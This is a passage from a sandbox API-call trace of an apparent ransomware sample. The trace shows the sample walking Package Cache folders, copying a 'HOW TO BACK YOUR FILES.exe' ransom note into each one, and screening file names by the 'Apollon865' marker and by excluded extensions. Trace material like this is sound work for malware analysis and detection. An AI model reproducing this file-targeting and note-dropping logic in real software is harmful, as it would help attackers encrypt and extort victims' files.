	[0038.912] lstrcmpiW (lpString1="cab1.cab", lpString2=".lnk") returned 1
	[0038.912] lstrlenW (lpString=".ini") returned 4
	[0038.912] lstrcmpiW (lpString1="cab1.cab", lpString2=".ini") returned 1
	[0038.912] lstrlenW (lpString=".sys") returned 4
	[0038.912] lstrcmpiW (lpString1="cab1.cab", lpString2=".sys") returned 1
	[0038.912] lstrlenW (lpString="cab1.cab") returned 8
	[0038.912] lstrcpyW (in: lpString1=0x2d3e638, lpString2="vc_runtimeAdditional_x86.msi" | out: lpString1="vc_runtimeAdditional_x86.msi") returned="vc_runtimeAdditional_x86.msi"
	[0038.912] lstrlenW (lpString="vc_runtimeAdditional_x86.msi") returned 28
	[0038.912] lstrlenW (lpString="Apollon865") returned 10
	[0038.912] lstrcmpiW (lpString1="al_x86.msi", lpString2="Apollon865") returned -1
	[0038.912] lstrlenW (lpString=".dll") returned 4
	[0038.912] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2=".dll") returned 1
	[0038.912] lstrlenW (lpString=".lnk") returned 4
	[0038.912] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2=".lnk") returned 1
	[0038.912] lstrlenW (lpString=".ini") returned 4
	[0038.912] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2=".ini") returned 1
	[0038.912] lstrlenW (lpString=".sys") returned 4
	[0038.912] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2=".sys") returned 1
	[0038.912] lstrlenW (lpString="vc_runtimeAdditional_x86.msi") returned 28
	[0038.912] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005"
	[0038.912] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a220 | out: hHeap=0x580000) returned 1
	[0038.912] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fca8 | out: hHeap=0x580000) returned 1
	[0038.912] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005") returned 82
	[0038.912] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005"
	[0038.912] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0038.912] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0038.927] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0038.927] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a199880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f4e1eb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f4e1eb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0038.927] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.927] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0038.927] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="packages" | out: lpString1="packages") returned="packages"
	[0038.927] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fca8
	[0038.927] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb8) returned 0x5c1458
	[0038.927] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcb0 | out: ListHead=0x5b76b0, ListEntry=0x59fcb0) returned 0x59fc90
	[0038.927] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
	[0038.927] FindClose (in: hFindFile=0x5ca210 | out: hFindFile=0x5ca210) returned 1
	[0038.927] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fcb0
	[0038.927] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages"
	[0038.927] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c1458 | out: hHeap=0x580000) returned 1
	[0038.927] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fca8 | out: hHeap=0x580000) returned 1
	[0038.928] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages") returned 91
	[0038.928] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages"
	[0038.928] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0038.928] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0038.932] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0038.932] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f508010, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f508010, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0038.932] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.932] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0038.932] lstrcpyW (in: lpString1=0x2d3e608, lpString2="vcRuntimeMinimum_amd64" | out: lpString1="vcRuntimeMinimum_amd64") returned="vcRuntimeMinimum_amd64"
	[0038.932] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fca8
	[0038.932] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xe6) returned 0x59a220
	[0038.932] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcb0 | out: ListHead=0x5b76b0, ListEntry=0x59fcb0) returned 0x59fc90
	[0038.932] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 0
	[0038.932] FindClose (in: hFindFile=0x5ca210 | out: hFindFile=0x5ca210) returned 1
	[0038.932] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fcb0
	[0038.932] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64"
	[0038.932] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a220 | out: hHeap=0x580000) returned 1
	[0038.932] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fca8 | out: hHeap=0x580000) returned 1
	[0038.932] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64") returned 114
	[0038.932] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64"
	[0038.932] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0038.933] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0038.938] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0038.938] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f508010, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f508010, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0038.939] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.939] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0038.939] lstrcpyW (in: lpString1=0x2d3e636, lpString2="cab1.cab" | out: lpString1="cab1.cab") returned="cab1.cab"
	[0038.939] lstrlenW (lpString="cab1.cab") returned 8
	[0038.939] lstrlenW (lpString="Apollon865") returned 10
	[0038.939] lstrlenW (lpString=".dll") returned 4
	[0038.939] lstrcmpiW (lpString1="cab1.cab", lpString2=".dll") returned 1
	[0038.939] lstrlenW (lpString=".lnk") returned 4
	[0038.939] lstrcmpiW (lpString1="cab1.cab", lpString2=".lnk") returned 1
	[0038.939] lstrlenW (lpString=".ini") returned 4
	[0038.939] lstrcmpiW (lpString1="cab1.cab", lpString2=".ini") returned 1
	[0038.939] lstrlenW (lpString=".sys") returned 4
	[0038.939] lstrcmpiW (lpString1="cab1.cab", lpString2=".sys") returned 1
	[0038.939] lstrlenW (lpString="cab1.cab") returned 8
	[0038.939] lstrcpyW (in: lpString1=0x2d3e636, lpString2="vc_runtimeMinimum_x64.msi" | out: lpString1="vc_runtimeMinimum_x64.msi") returned="vc_runtimeMinimum_x64.msi"
	[0038.939] lstrlenW (lpString="vc_runtimeMinimum_x64.msi") returned 25
	[0038.939] lstrlenW (lpString="Apollon865") returned 10
	[0038.939] lstrcmpiW (lpString1="um_x64.msi", lpString2="Apollon865") returned 1
	[0038.939] lstrlenW (lpString=".dll") returned 4
	[0038.939] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2=".dll") returned 1
	[0038.939] lstrlenW (lpString=".lnk") returned 4
	[0038.939] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2=".lnk") returned 1
	[0038.939] lstrlenW (lpString=".ini") returned 4
	[0038.939] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2=".ini") returned 1
	[0038.939] lstrlenW (lpString=".sys") returned 4
	[0038.939] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2=".sys") returned 1
	[0038.939] lstrlenW (lpString="vc_runtimeMinimum_x64.msi") returned 25
	[0038.940] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005"
	[0038.940] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a170 | out: hHeap=0x580000) returned 1
	[0038.940] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc88 | out: hHeap=0x580000) returned 1
	[0038.940] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005") returned 82
	[0038.940] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005"
	[0038.940] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0038.940] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0038.944] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0038.944] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f52e170, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f52e170, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0038.944] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.944] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0038.944] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="packages" | out: lpString1="packages") returned="packages"
	[0038.944] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc88
	[0038.944] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb8) returned 0x5c1458
	[0038.944] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc90 | out: ListHead=0x5b76b0, ListEntry=0x59fc90) returned 0x59fc70
	[0038.944] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a20bca0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a20bca0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
	[0038.944] FindClose (in: hFindFile=0x5ca210 | out: hFindFile=0x5ca210) returned 1
	[0038.944] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc90
	[0038.944] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages"
	[0038.944] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c1458 | out: hHeap=0x580000) returned 1
	[0038.945] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc88 | out: hHeap=0x580000) returned 1
	[0038.945] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages") returned 91
	[0038.945] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages"
	[0038.945] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0038.945] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0038.949] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0038.949] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f52e170, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f52e170, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0038.949] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.949] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0038.949] lstrcpyW (in: lpString1=0x2d3e608, lpString2="vcRuntimeAdditional_amd64" | out: lpString1="vcRuntimeAdditional_amd64") returned="vcRuntimeAdditional_amd64"
	[0038.949] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc88
	[0038.949] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xec) returned 0x59a170
	[0038.949] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc90 | out: ListHead=0x5b76b0, ListEntry=0x59fc90) returned 0x59fc70
	[0038.949] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a257f60, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a257f60, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 0
	[0038.949] FindClose (in: hFindFile=0x5ca210 | out: hFindFile=0x5ca210) returned 1
	[0038.949] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc90
	[0038.949] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64"
	[0038.949] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a170 | out: hHeap=0x580000) returned 1
	[0038.949] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc88 | out: hHeap=0x580000) returned 1
	[0038.949] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64") returned 117
	[0038.949] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64"
	[0038.949] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0038.949] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0038.955] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0038.955] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f52e170, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f52e170, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0038.956] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.956] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0038.956] lstrcpyW (in: lpString1=0x2d3e63c, lpString2="cab1.cab" | out: lpString1="cab1.cab") returned="cab1.cab"
	[0038.956] lstrlenW (lpString="cab1.cab") returned 8
	[0038.956] lstrlenW (lpString="Apollon865") returned 10
	[0038.956] lstrlenW (lpString=".dll") returned 4
	[0038.956] lstrcmpiW (lpString1="cab1.cab", lpString2=".dll") returned 1
	[0038.956] lstrlenW (lpString=".lnk") returned 4
	[0038.956] lstrcmpiW (lpString1="cab1.cab", lpString2=".lnk") returned 1
	[0038.956] lstrlenW (lpString=".ini") returned 4
	[0038.956] lstrcmpiW (lpString1="cab1.cab", lpString2=".ini") returned 1
	[0038.956] lstrlenW (lpString=".sys") returned 4
	[0038.956] lstrcmpiW (lpString1="cab1.cab", lpString2=".sys") returned 1
	[0038.956] lstrlenW (lpString="cab1.cab") returned 8
	[0038.956] lstrcpyW (in: lpString1=0x2d3e63c, lpString2="vc_runtimeAdditional_x64.msi" | out: lpString1="vc_runtimeAdditional_x64.msi") returned="vc_runtimeAdditional_x64.msi"
	[0038.956] lstrlenW (lpString="vc_runtimeAdditional_x64.msi") returned 28
	[0038.956] lstrlenW (lpString="Apollon865") returned 10
	[0038.956] lstrcmpiW (lpString1="al_x64.msi", lpString2="Apollon865") returned -1
	[0038.956] lstrlenW (lpString=".dll") returned 4
	[0038.956] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2=".dll") returned 1
	[0038.956] lstrlenW (lpString=".lnk") returned 4
	[0038.956] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2=".lnk") returned 1
